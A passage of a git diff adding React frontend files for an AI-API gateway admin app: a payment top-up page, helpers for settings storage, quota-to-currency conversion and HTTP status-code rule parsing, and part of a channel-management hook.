+  const renderAmount = () => {
+    return amount + ' ' + t('元');
+  };
+
+  const getAmount = async (value) => {
+    if (value === undefined) {
+      value = topUpCount;
+    }
+    setAmountLoading(true);
+    try {
+      const res = await API.post('/api/user/amount', {
+        amount: parseFloat(value),
+      });
+      if (res !== undefined) {
+        const { message, data } = res.data;
+        if (message === 'success') {
+          setAmount(parseFloat(data));
+        } else {
+          setAmount(0);
+          Toast.error({ content: '错误：' + data, id: 'getAmount' });
+        }
+      } else {
+        showError(res);
+      }
+    } catch (err) {
+      // amount fetch failed silently
+    }
+    setAmountLoading(false);
+  };
+
+  const getStripeAmount = async (value) => {
+    if (value === undefined) {
+      value = topUpCount;
+    }
+    setAmountLoading(true);
+    try {
+      const res = await API.post('/api/user/stripe/amount', {
+        amount: parseFloat(value),
+      });
+      if (res !== undefined) {
+        const { message, data } = res.data;
+        if (message === 'success') {
+          setAmount(parseFloat(data));
+        } else {
+          setAmount(0);
+          Toast.error({ content: '错误：' + data, id: 'getAmount' });
+        }
+      } else {
+        showError(res);
+      }
+    } catch (err) {
+      // amount fetch failed silently
+    } finally {
+      setAmountLoading(false);
+    }
+  };
+
+  const handleCancel = () => {
+    setOpen(false);
+  };
+
+  const handleTransferCancel = () => {
+    setOpenTransfer(false);
+  };
+
+  const handleOpenHistory = () => {
+    setOpenHistory(true);
+  };
+
+  const handleHistoryCancel = () => {
+    setOpenHistory(false);
+  };
+
+  const handleCreemCancel = () => {
+    setCreemOpen(false);
+    setSelectedCreemProduct(null);
+  };
+
+  // 选择预设充值额度
+  const selectPresetAmount = (preset) => {
+    setTopUpCount(preset.value);
+    setSelectedPreset(preset.value);
+
+    // 计算实际支付金额，考虑折扣
+    const discount = preset.discount || topupInfo.discount[preset.value] || 1.0;
+    const discountedAmount = preset.value * priceRatio * discount;
+    setAmount(discountedAmount);
+  };
+
+  // 格式化大数字显示
+  const formatLargeNumber = (num) => {
+    return num.toString();
+  };
+
+  // 根据最小充值金额生成预设充值额度选项
+  const generatePresetAmounts = (minAmount) => {
+    const multipliers = [1, 5, 10, 30, 50, 100, 300, 500];
+    return multipliers.map((multiplier) => ({
+      value: minAmount * multiplier,
+    }));
+  };
+
+  return (
+    <div className='w-full max-w-7xl mx-auto relative min-h-screen lg:min-h-0 mt-[60px] px-2'>
+      {/* 划转模态框 */}
+      <TransferModal
+        t={t}
+        openTransfer={openTransfer}
+        transfer={transfer}
+        handleTransferCancel={handleTransferCancel}
+        userState={userState}
+        renderQuota={renderQuota}
+        getQuotaPerUnit={getQuotaPerUnit}
+        transferAmount={transferAmount}
+        setTransferAmount={setTransferAmount}
+      />
+
+      {/* 充值确认模态框 */}
+      <PaymentConfirmModal
+        t={t}
+        open={open}
+        onlineTopUp={onlineTopUp}
+        handleCancel={handleCancel}
+        confirmLoading={confirmLoading}
+        topUpCount={topUpCount}
+        renderQuotaWithAmount={renderQuotaWithAmount}
+        amountLoading={amountLoading}
+        renderAmount={renderAmount}
+        payWay={payWay}
+        payMethods={confirmPayMethods}
+        amountNumber={amount}
+        discountRate={topupInfo?.discount?.[topUpCount] || 1.0}
+      />
+
+      {/* 充值账单模态框 */}
+      <TopupHistoryModal
+        visible={openHistory}
+        onCancel={handleHistoryCancel}
+        t={t}
+      />
+
+      {/* Creem 充值确认模态框 */}
+      <Modal
+        title={t('确定要充值 $')}
+        visible={creemOpen}
+        onOk={onlineCreemTopUp}
+        onCancel={handleCreemCancel}
+        maskClosable={false}
+        size='small'
+        centered
+        confirmLoading={confirmLoading}
+      >
+        {selectedCreemProduct && (
+          <>
+            <p>
+              {t('产品名称')}：{selectedCreemProduct.name}
+            </p>
+            <p>
+              {t('价格')}：{selectedCreemProduct.currency === 'EUR' ? '€' : '$'}
+              {selectedCreemProduct.price}
+            </p>
+            <p>
+              {t('充值额度')}：{selectedCreemProduct.quota}
+            </p>
+            <p>{t('是否确认充值？')}</p>
+          </>
+        )}
+      </Modal>
+
+      {/* 主布局区域 */}
+      <div className='grid grid-cols-1 lg:grid-cols-2 gap-6'>
+        <RechargeCard
+          t={t}
+          enableOnlineTopUp={enableOnlineTopUp}
+          enableStripeTopUp={enableStripeTopUp}
+          enableCreemTopUp={enableCreemTopUp}
+          creemProducts={creemProducts}
+          creemPreTopUp={creemPreTopUp}
+          enableWaffoTopUp={enableWaffoTopUp}
+          enableWaffoPancakeTopUp={enableWaffoPancakeTopUp}
+          presetAmounts={presetAmounts}
+          selectedPreset={selectedPreset}
+          selectPresetAmount={selectPresetAmount}
+          formatLargeNumber={formatLargeNumber}
+          priceRatio={priceRatio}
+          topUpCount={topUpCount}
+          minTopUp={minTopUp}
+          renderQuotaWithAmount={renderQuotaWithAmount}
+          getAmount={getAmount}
+          setTopUpCount={setTopUpCount}
+          setSelectedPreset={setSelectedPreset}
+          renderAmount={renderAmount}
+          amountLoading={amountLoading}
+          payMethods={confirmPayMethods}
+          preTopUp={preTopUp}
+          paymentLoading={paymentLoading}
+          payWay={payWay}
+          redemptionCode={redemptionCode}
+          setRedemptionCode={setRedemptionCode}
+          topUp={topUp}
+          isSubmitting={isSubmitting}
+          topUpLink={topUpLink}
+          openTopUpLink={openTopUpLink}
+          userState={userState}
+          renderQuota={renderQuota}
+          statusLoading={statusLoading}
+          topupInfo={topupInfo}
+          onOpenHistory={handleOpenHistory}
+          subscriptionLoading={subscriptionLoading}
+          subscriptionPlans={subscriptionPlans}
+          billingPreference={billingPreference}
+          onChangeBillingPreference={updateBillingPreference}
+          activeSubscriptions={activeSubscriptions}
+          allSubscriptions={allSubscriptions}
+          reloadSubscriptionSelf={getSubscriptionSelf}
+        />
+        <InvitationCard
+          t={t}
+          userState={userState}
+          renderQuota={renderQuota}
+          setOpenTransfer={setOpenTransfer}
+          affLink={affLink}
+          handleAffLinkClick={handleAffLinkClick}
+        />
+      </div>
+    </div>
+  );
+};
+
+export default TopUp;
diff --git a/_all-in-one-upload/new-api/web/classic/src/helpers/data.js b/_all-in-one-upload/new-api/web/classic/src/helpers/data.js
new file mode 100644
index 0000000..e45aac3
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/classic/src/helpers/data.js
@@ -0,0 +1,61 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+export function setStatusData(data) {
+  localStorage.setItem('status', JSON.stringify(data));
+  localStorage.setItem('system_name', data.system_name);
+  localStorage.setItem('logo', data.logo);
+  localStorage.setItem('footer_html', data.footer_html);
+  localStorage.setItem('quota_per_unit', data.quota_per_unit);
+  // 兼容：保留旧字段，同时写入新的额度展示类型
+  localStorage.setItem('display_in_currency', data.display_in_currency);
+  localStorage.setItem('quota_display_type', data.quota_display_type || 'USD');
+  localStorage.setItem('enable_drawing', data.enable_drawing);
+  localStorage.setItem('enable_task', data.enable_task);
+  localStorage.setItem('enable_data_export', data.enable_data_export);
+  localStorage.setItem('chats', JSON.stringify(data.chats));
+  localStorage.setItem(
+    'data_export_default_time',
+    data.data_export_default_time,
+  );
+  localStorage.setItem(
+    'default_collapse_sidebar',
+    data.default_collapse_sidebar,
+  );
+  localStorage.setItem('mj_notify_enabled', data.mj_notify_enabled);
+  if (data.chat_link) {
+    // localStorage.setItem('chat_link', data.chat_link);
+  } else {
+    localStorage.removeItem('chat_link');
+  }
+  if (data.chat_link2) {
+    // localStorage.setItem('chat_link2', data.chat_link2);
+  } else {
+    localStorage.removeItem('chat_link2');
+  }
+  if (data.docs_link) {
+    localStorage.setItem('docs_link', data.docs_link);
+  } else {
+    localStorage.removeItem('docs_link');
+  }
+}
+
+export function setUserData(data) {
+  localStorage.setItem('user', JSON.stringify(data));
+}
diff --git a/_all-in-one-upload/new-api/web/classic/src/helpers/index.js b/_all-in-one-upload/new-api/web/classic/src/helpers/index.js
new file mode 100644
index 0000000..a86c3bc
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/classic/src/helpers/index.js
@@ -0,0 +1,32 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+export * from './history';
+export * from './auth';
+export * from './utils';
+export * from './base64';
+export * from './api';
+export * from './render';
+export * from './log';
+export * from './data';
+export * from './token';
+export * from './boolean';
+export * from './dashboard';
+export * from './passkey';
+export * from './statusCodeRules';
diff --git a/_all-in-one-upload/new-api/web/classic/src/helpers/quota.js b/_all-in-one-upload/new-api/web/classic/src/helpers/quota.js
new file mode 100644
index 0000000..1d08aa6
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/classic/src/helpers/quota.js
@@ -0,0 +1,47 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+import { getCurrencyConfig } from './render';
+
+export const getQuotaPerUnit = () => {
+  const raw = parseFloat(localStorage.getItem('quota_per_unit') || '1');
+  return Number.isFinite(raw) && raw > 0 ? raw : 1;
+};
+
+export const quotaToDisplayAmount = (quota) => {
+  const q = Number(quota || 0);
+  if (!Number.isFinite(q) || q === 0) return 0;
+  const sign = Math.sign(q);
+  const abs = Math.abs(q);
+  const { type, rate } = getCurrencyConfig();
+  if (type === 'TOKENS') return q;
+  const usd = abs / getQuotaPerUnit();
+  if (type === 'USD') return sign * usd;
+  return sign * usd * (rate || 1);
+};
+
+export const displayAmountToQuota = (amount) => {
+  const val = Number(amount || 0);
+  if (!Number.isFinite(val) || val === 0) return 0;
+  const sign = Math.sign(val);
+  const abs = Math.abs(val);
+  const { type, rate } = getCurrencyConfig();
+  if (type === 'TOKENS') return Math.round(val);
+  const usd = type === 'USD' ? abs : abs / (rate || 1);
+  return sign * Math.round(usd * getQuotaPerUnit());
+};
diff --git a/_all-in-one-upload/new-api/web/classic/src/helpers/statusCodeRules.js b/_all-in-one-upload/new-api/web/classic/src/helpers/statusCodeRules.js
new file mode 100644
index 0000000..fc60a5a
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/classic/src/helpers/statusCodeRules.js
@@ -0,0 +1,118 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+export function parseHttpStatusCodeRules(input) {
+  const raw = (input ?? '').toString().trim();
+  if (raw.length === 0) {
+    return {
+      ok: true,
+      ranges: [],
+      tokens: [],
+      normalized: '',
+      invalidTokens: [],
+    };
+  }
+
+  const sanitized = raw.replace(/[，]/g, ',');
+  const segments = sanitized.split(/[,]/g);
+
+  const ranges = [];
+  const invalidTokens = [];
+
+  for (const segment of segments) {
+    const trimmed = segment.trim();
+    if (!trimmed) continue;
+    const parsed = parseToken(trimmed);
+    if (!parsed) invalidTokens.push(trimmed);
+    else ranges.push(parsed);
+  }
+
+  if (invalidTokens.length > 0) {
+    return {
+      ok: false,
+      ranges: [],
+      tokens: [],
+      normalized: raw,
+      invalidTokens,
+    };
+  }
+
+  const merged = mergeRanges(ranges);
+  const tokens = merged.map((r) =>
+    r.start === r.end ? `${r.start}` : `${r.start}-${r.end}`,
+  );
+  const normalized = tokens.join(',');
+
+  return {
+    ok: true,
+    ranges: merged,
+    tokens,
+    normalized,
+    invalidTokens: [],
+  };
+}
+
+function parseToken(token) {
+  const cleaned = (token ?? '').toString().trim().replaceAll(' ', '');
+  if (!cleaned) return null;
+
+  if (cleaned.includes('-')) {
+    const parts = cleaned.split('-');
+    if (parts.length !== 2) return null;
+    const [a, b] = parts;
+    if (!isNumber(a) || !isNumber(b)) return null;
+    const start = Number.parseInt(a, 10);
+    const end = Number.parseInt(b, 10);
+    if (!Number.isFinite(start) || !Number.isFinite(end)) return null;
+    if (start > end) return null;
+    if (start < 100 || end > 599) return null;
+    return { start, end };
+  }
+
+  if (!isNumber(cleaned)) return null;
+  const code = Number.parseInt(cleaned, 10);
+  if (!Number.isFinite(code)) return null;
+  if (code < 100 || code > 599) return null;
+  return { start: code, end: code };
+}
+
+function isNumber(s) {
+  return typeof s === 'string' && /^\d+$/.test(s);
+}
+
+function mergeRanges(ranges) {
+  if (!Array.isArray(ranges) || ranges.length === 0) return [];
+
+  const sorted = [...ranges].sort((a, b) =>
+    a.start !== b.start ? a.start - b.start : a.end - b.end,
+  );
+  const merged = [sorted[0]];
+
+  for (let i = 1; i < sorted.length; i += 1) {
+    const current = sorted[i];
+    const last = merged[merged.length - 1];
+
+    if (current.start <= last.end + 1) {
+      last.end = Math.max(last.end, current.end);
+      continue;
+    }
+    merged.push({ ...current });
+  }
+
+  return merged;
+}
diff --git a/_all-in-one-upload/new-api/web/classic/src/hooks/channels/useChannelsData.jsx b/_all-in-one-upload/new-api/web/classic/src/hooks/channels/useChannelsData.jsx
new file mode 100644
index 0000000..e020868
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/classic/src/hooks/channels/useChannelsData.jsx
@@ -0,0 +1,1257 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import { useState, useEffect, useRef, useMemo } from 'react';
+import { useTranslation } from 'react-i18next';
+import {
+  API,
+  showError,
+  showInfo,
+  showSuccess,
+  loadChannelModels,
+  copy,
+  toBoolean,
+} from '../../helpers';
+import {
+  CHANNEL_OPTIONS,
+  ITEMS_PER_PAGE,
+  MODEL_TABLE_PAGE_SIZE,
+} from '../../constants';
+import { useIsMobile } from '../common/useIsMobile';
+import { useTableCompactMode } from '../common/useTableCompactMode';
+import { useChannelUpstreamUpdates } from './useChannelUpstreamUpdates';
+import { parseUpstreamUpdateMeta } from './upstreamUpdateUtils';
+import { Modal, Button } from '@douyinfe/semi-ui';
+import { openCodexUsageModal } from '../../components/table/channels/modals/CodexUsageModal';
+
+export const useChannelsData = () => {
+  const { t } = useTranslation();
+  const isMobile = useIsMobile();
+
+  // Basic states
+  const [channels, setChannels] = useState([]);
+  const [loading, setLoading] = useState(true);
+  const [activePage, setActivePage] = useState(1);
+  const [idSort, setIdSort] = useState(false);
+  const [searching, setSearching] = useState(false);
+  const [pageSize, setPageSize] = useState(ITEMS_PER_PAGE);
+  const [channelCount, setChannelCount] = useState(0);
+  const [groupOptions, setGroupOptions] = useState([]);
+
+  // UI states
+  const [showEdit, setShowEdit] = useState(false);
+  const [enableBatchDelete, setEnableBatchDelete] = useState(false);
+  const [editingChannel, setEditingChannel] = useState({ id: undefined });
+  const [showEditTag, setShowEditTag] = useState(false);
+  const [editingTag, setEditingTag] = useState('');
+  const [selectedChannels, setSelectedChannels] = useState([]);
+  const [enableTagMode, setEnableTagMode] = useState(false);
+  const [showBatchSetTag, setShowBatchSetTag] = useState(false);
+  const [batchSetTagValue, setBatchSetTagValue] = useState('');
+  const [compactMode, setCompactMode] = useTableCompactMode('channels');
+
+  // Column visibility states
+  const [visibleColumns, setVisibleColumns] = useState({});
+  const [showColumnSelector, setShowColumnSelector] = useState(false);
+
+  // Status filter
+  const [statusFilter, setStatusFilter] = useState(
+    localStorage.getItem('channel-status-filter') || 'all',
+  );
+
+  // Type tabs states
+  const [activeTypeKey, setActiveTypeKey] = useState('all');
+  const [typeCounts, setTypeCounts] = useState({});
+
+  // Model test states
+  const [showModelTestModal, setShowModelTestModal] = useState(false);
+  const [currentTestChannel, setCurrentTestChannel] = useState(null);
+  const [modelSearchKeyword, setModelSearchKeyword] = useState('');
+  const [modelTestResults, setModelTestResults] = useState({});
+  const [testingModels, setTestingModels] = useState(new Set());
+  const [selectedModelKeys, setSelectedModelKeys] = useState([]);
+  const [isBatchTesting, setIsBatchTesting] = useState(false);
+  const [modelTablePage, setModelTablePage] = useState(1);
+  const [selectedEndpointType, setSelectedEndpointType] = useState('');
+  const [isStreamTest, setIsStreamTest] = useState(false);
+  const [globalPassThroughEnabled, setGlobalPassThroughEnabled] =
+    useState(false);
+
+  const fetchGlobalPassThroughEnabled = async () => {
+    try {
+      const res = await API.get('/api/option/');
+      const { success, data } = res?.data || {};
+      if (!success || !Array.isArray(data)) {
+        return;
+      }
+      const option = data.find(
+        (item) => item?.key === 'global.pass_through_request_enabled',
+      );
+      if (option) {
+        setGlobalPassThroughEnabled(toBoolean(option.value));
+      }
+    } catch (error) {
+      setGlobalPassThroughEnabled(false);
+    }
+  };
+
+  // 使用 ref 来避免闭包问题，类似旧版实现
+  const shouldStopBatchTestingRef = useRef(false);
+
+  // Multi-key management states
+  const [showMultiKeyManageModal, setShowMultiKeyManageModal] = useState(false);
+  const [currentMultiKeyChannel, setCurrentMultiKeyChannel] = useState(null);
+
+  // Refs
+  const requestCounter = useRef(0);
+  const allSelectingRef = useRef(false);
+  const [formApi, setFormApi] = useState(null);
+
+  const formInitValues = {
+    searchKeyword: '',
+    searchGroup: '',
+    searchModel: '',
+  };
+
+  // Column keys
+  const COLUMN_KEYS = {
+    ID: 'id',
+    NAME: 'name',
+    GROUP: 'group',
+    TYPE: 'type',
+    STATUS: 'status',
+    RESPONSE_TIME: 'response_time',
+    BALANCE: 'balance',
+    PRIORITY: 'priority',
+    WEIGHT: 'weight',
+    OPERATE: 'operate',
+  };
+
+  // Initialize from localStorage
+  useEffect(() => {
+    const localIdSort = localStorage.getItem('id-sort') === 'true';
+    const localPageSize =
+      parseInt(localStorage.getItem('page-size')) || ITEMS_PER_PAGE;
+    const localEnableTagMode =
+      localStorage.getItem('enable-tag-mode') === 'true';
+    const localEnableBatchDelete =
+      localStorage.getItem('enable-batch-delete') === 'true';
+
+    setIdSort(localIdSort);
+    setPageSize(localPageSize);
+    setEnableTagMode(localEnableTagMode);
+    setEnableBatchDelete(localEnableBatchDelete);
+
+    loadChannels(1, localPageSize, localIdSort, localEnableTagMode)
+      .then()
+      .catch((reason) => {
+        showError(reason);
+      });
+    fetchGroups().then();
+    loadChannelModels().then();
+    fetchGlobalPassThroughEnabled().then();
+  }, []);
+
+  // Column visibility management
+  const getDefaultColumnVisibility = () => {
+    return {
+      [COLUMN_KEYS.ID]: true,
+      [COLUMN_KEYS.NAME]: true,
+      [COLUMN_KEYS.GROUP]: true,
+      [COLUMN_KEYS.TYPE]: true,
+      [COLUMN_KEYS.STATUS]: true,
+      [COLUMN_KEYS.RESPONSE_TIME]: true,
+      [COLUMN_KEYS.BALANCE]: true,
+      [COLUMN_KEYS.PRIORITY]: true,
+      [COLUMN_KEYS.WEIGHT]: true,
+      [COLUMN_KEYS.OPERATE]: true,
+    };
+  };
+
+  const initDefaultColumns = () => {
+    const defaults = getDefaultColumnVisibility();
+    setVisibleColumns(defaults);
+  };
+
+  // Load saved column preferences
+  useEffect(() => {
+    const savedColumns = localStorage.getItem('channels-table-columns');
+    if (savedColumns) {
+      try {
+        const parsed = JSON.parse(savedColumns);
+        const defaults = getDefaultColumnVisibility();
+        const merged = { ...defaults, ...parsed };
+        setVisibleColumns(merged);
+      } catch (e) {
+        console.error('Failed to parse saved column preferences', e);
+        initDefaultColumns();
+      }
+    } else {
+      initDefaultColumns();
+    }
+  }, []);
+
+  // Save column preferences
+  useEffect(() => {
+    if (Object.keys(visibleColumns).length > 0) {
+      localStorage.setItem(
+        'channels-table-columns',
+        JSON.stringify(visibleColumns),
+      );
+    }
+  }, [visibleColumns]);
+
+  const handleColumnVisibilityChange = (columnKey, checked) => {
+    const updatedColumns = { ...visibleColumns, [columnKey]: checked };
+    setVisibleColumns(updatedColumns);
+  };
+
+  const handleSelectAll = (checked) => {
+    const allKeys = Object.keys(COLUMN_KEYS).map((key) => COLUMN_KEYS[key]);
+    const updatedColumns = {};
+    allKeys.forEach((key) => {
+      updatedColumns[key] = checked;
+    });
+    setVisibleColumns(updatedColumns);
+  };
+
+  // Data formatting
+  const setChannelFormat = (channels, enableTagMode) => {
+    let channelDates = [];
+    let channelTags = {};
+
+    for (let i = 0; i < channels.length; i++) {
+      channels[i].upstreamUpdateMeta = parseUpstreamUpdateMeta(
+        channels[i].settings,
+      );
+      channels[i].key = '' + channels[i].id;
+      if (!enableTagMode) {
+        channelDates.push(channels[i]);
+      } else {
+        let tag = channels[i].tag ? channels[i].tag : '';
+        let tagIndex = channelTags[tag];
+        let tagChannelDates = undefined;
+
+        if (tagIndex === undefined) {
+          channelTags[tag] = 1;
+          tagChannelDates = {
+            key: tag,
+            id: tag,
+            tag: tag,
+            name: '标签：' + tag,
+            group: '',
+            used_quota: 0,
+            response_time: 0,
+            priority: -1,
+            weight: -1,
+          };
+          tagChannelDates.children = [];
+          channelDates.push(tagChannelDates);
+        } else {
+          tagChannelDates = channelDates.find((item) => item.key === tag);
+        }
+
+        if (tagChannelDates.priority === -1) {
+          tagChannelDates.priority = channels[i].priority;
+        } else {
+          if (tagChannelDates.priority !== channels[i].priority) {
+            tagChannelDates.priority = '';
+          }
+        }
+
+        if (tagChannelDates.weight === -1) {
+          tagChannelDates.weight = channels[i].weight;
+        } else {
+          if (tagChannelDates.weight !== channels[i].weight) {
+            tagChannelDates.weight = '';
+          }
+        }
+
+        if (tagChannelDates.group === '') {
+          tagChannelDates.group = channels[i].group;
+        } else {
+          let channelGroupsStr = channels[i].group;
+          channelGroupsStr.split(',').forEach((item, index) => {
+            if (tagChannelDates.group.indexOf(item) === -1) {
+              tagChannelDates.group += ',' + item;
+            }
+          });
+        }
+
+        tagChannelDates.children.push(channels[i]);
+        if (channels[i].status === 1) {
+          tagChannelDates.status = 1;
+        }
+        tagChannelDates.used_quota += channels[i].used_quota;
+        tagChannelDates.response_time += channels[i].response_time;
+        tagChannelDates.response_time = tagChannelDates.response_time / 2;
+      }
+    }
+    setChannels(channelDates);
+  };
+
+  // Get form values helper
+  const getFormValues = () => {
+    const formValues = formApi ? formApi.getValues() : {};
+    return {
+      searchKeyword: formValues.searchKeyword || '',
+      searchGroup: formValues.searchGroup || '',
+      searchModel: formValues.searchModel || '',
+    };
+  };
+
+  // Load channels
+  const loadChannels = async (
+    page,
+    pageSize,
+    idSort,
+    enableTagMode,
+    typeKey = activeTypeKey,
+    statusF,
+  ) => {
+    if (statusF === undefined) statusF = statusFilter;
+
+    const { searchKeyword, searchGroup, searchModel } = getFormValues();
+    if (searchKeyword !== '' || searchGroup !== '' || searchModel !== '') {
+      setLoading(true);
+      await searchChannels(
+        enableTagMode,
+        typeKey,
+        statusF,
+        page,
+        pageSize,
+        idSort,
+      );
+      setLoading(false);
+      return;
+    }
+
+    const reqId = ++requestCounter.current;
+    setLoading(true);
+    const typeParam = typeKey !== 'all' ? `&type=${typeKey}` : '';
+    const statusParam = statusF !== 'all' ? `&status=${statusF}` : '';
+    const res = await API.get(
+      `/api/channel/?p=${page}&page_size=${pageSize}&id_sort=${idSort}&tag_mode=${enableTagMode}${typeParam}${statusParam}`,
+    );
+
+    if (res === undefined || reqId !== requestCounter.current) {
+      return;
+    }
+
+    const { success, message, data } = res.data;
+    if (success) {
+      const { items, total, type_counts } = data;
+      if (type_counts) {
+        const sumAll = Object.values(type_counts).reduce(
+          (acc, v) => acc + v,
+          0,
+        );
+        setTypeCounts({ ...type_counts, all: sumAll });
+      }
+      setChannelFormat(items, enableTagMode);
+      setChannelCount(total);
+    } else {
+      showError(message);
+    }
+    setLoading(false);
+  };
+
+  // Search channels
+  const searchChannels = async (
+    enableTagMode,
+    typeKey = activeTypeKey,
+    statusF = statusFilter,
+    page = 1,
+    pageSz = pageSize,
+    sortFlag = idSort,
+  ) => {
+    const { searchKeyword, searchGroup, searchModel } = getFormValues();
+    setSearching(true);
+    try {
+      if (searchKeyword === '' && searchGroup === '' && searchModel === '') {
+        await loadChannels(
+          page,
+          pageSz,
+          sortFlag,
+          enableTagMode,
+          typeKey,
+          statusF,
+        );
+        return;
+      }
+
+      const typeParam = typeKey !== 'all' ? `&type=${typeKey}` : '';
+      const statusParam = statusF !== 'all' ? `&status=${statusF}` : '';
+      const res = await API.get(
+        `/api/channel/search?keyword=${searchKeyword}&group=${searchGroup}&model=${searchModel}&id_sort=${sortFlag}&tag_mode=${enableTagMode}&p=${page}&page_size=${pageSz}${typeParam}${statusParam}`,
+      );
+      const { success, message, data } = res.data;
+      if (success) {
+        const { items = [], total = 0, type_counts = {} } = data;
+        const sumAll = Object.values(type_counts).reduce(
+          (acc, v) => acc + v,
+          0,
+        );
+        setTypeCounts({ ...type_counts, all: sumAll });
+        setChannelFormat(items, enableTagMode);
+        setChannelCount(total);
+        setActivePage(page);
+      } else {
+        showError(message);
+      }
+    } finally {
+      setSearching(false);
+    }
+  };
+
+  // Refresh
+  const refresh = async (page = activePage) => {
+    const { searchKeyword, searchGroup, searchModel } = getFormValues();
+    if (searchKeyword === '' && searchGroup === '' && searchModel === '') {
+      await loadChannels(page, pageSize, idSort, enableTagMode);
+    } else {
+      await searchChannels(
+        enableTagMode,
+        activeTypeKey,
+        statusFilter,
+        page,
+        pageSize,
+        idSort,
+      );
+    }
+  };
+
+  const upstreamUpdates = useChannelUpstreamUpdates({ t, refresh });
+
+  // Channel management
+  const manageChannel = async (id, action, record, value) => {
+    let data = { id };
+    let res;
+    switch (action) {
+      case 'delete':
+        res = await API.delete(`/api/channel/${id}/`);
+        break;
+      case 'enable':
+        data.status = 1;
+        res = await API.put('/api/channel/', data);
+        break;
+      case 'disable':
+        data.status = 2;
+        res = await API.put('/api/channel/', data);
+        break;
+      case 'priority':
+        if (value === '') return;
+        data.priority = parseInt(value);
+        res = await API.put('/api/channel/', data);
+        break;
+      case 'weight':
+        if (value === '') return;
+        data.weight = parseInt(value);
+        if (data.weight < 0) data.weight = 0;
+        res = await API.put('/api/channel/', data);
+        break;
+      case 'enable_all':
+        data.channel_info = record.channel_info;
+        data.channel_info.multi_key_status_list = {};
+        res = await API.put('/api/channel/', data);
+        break;
+    }
+    const { success, message } = res.data;
+    if (success) {
+      showSuccess(t('操作成功完成！'));
+      let channel = res.data.data;
+      let newChannels = [...channels];
+      if (action !== 'delete') {
+        record.status = channel.status;
+      }
+      setChannels(newChannels);
+    } else {
+      showError(message);
+    }
+  };
+
+  // Tag management
+  const manageTag = async (tag, action) => {
+    let res;
+    switch (action) {
+      case 'enable':
+        res = await API.post('/api/channel/tag/enabled', { tag: tag });
+        break;
+      case 'disable':
+        res = await API.post('/api/channel/tag/disabled', { tag: tag });
+        break;
+    }
+    const { success, message } = res.data;
+    if (success) {
+      showSuccess(t('操作成功完成！'));
+      let newChannels = [...channels];
+      for (let i = 0; i < newChannels.length; i++) {
+        if (newChannels[i].tag === tag) {
+          let status = action === 'enable' ? 1 : 2;
+          newChannels[i]?.children?.forEach((channel) => {
+            channel.status = status;
+          });
+          newChannels[i].status = status;
+        }
+      }
+      setChannels(newChannels);
+    } else {
+      showError(message);
+    }
+  };
+
+  // Page handlers
+  const handlePageChange = (page) => {
+    const { searchKeyword, searchGroup, searchModel } = getFormValues();
+    setActivePage(page);
+    if (searchKeyword === '' && searchGroup === '' && searchModel === '') {
+      loadChannels(page, pageSize, idSort, enableTagMode).then(() => {});
+    } else {
+      searchChannels(
+        enableTagMode,
+        activeTypeKey,
+        statusFilter,
+        page,
+        pageSize,
+        idSort,
+      );
+    }
+  };
+
+  const handlePageSizeChange = async (size) => {
+    localStorage.setItem('page-size', size + '');
+    setPageSize(size);
+    setActivePage(1);
+    const { searchKeyword, searchGroup, searchModel } = getFormValues();
+    if (searchKeyword === '' && searchGroup === '' && searchModel === '') {
+      loadChannels(1, size, idSort, enableTagMode)
+        .then()
+        .catch((reason) => {
+          showError(reason);
+        });
+    } else {
+      searchChannels(
+        enableTagMode,
+        activeTypeKey,
+        statusFilter,
+        1,
+        size,
+        idSort,
+      );
+    }
+  };
+
+  // Fetch groups
+  const fetchGroups = async () => {
+    try {
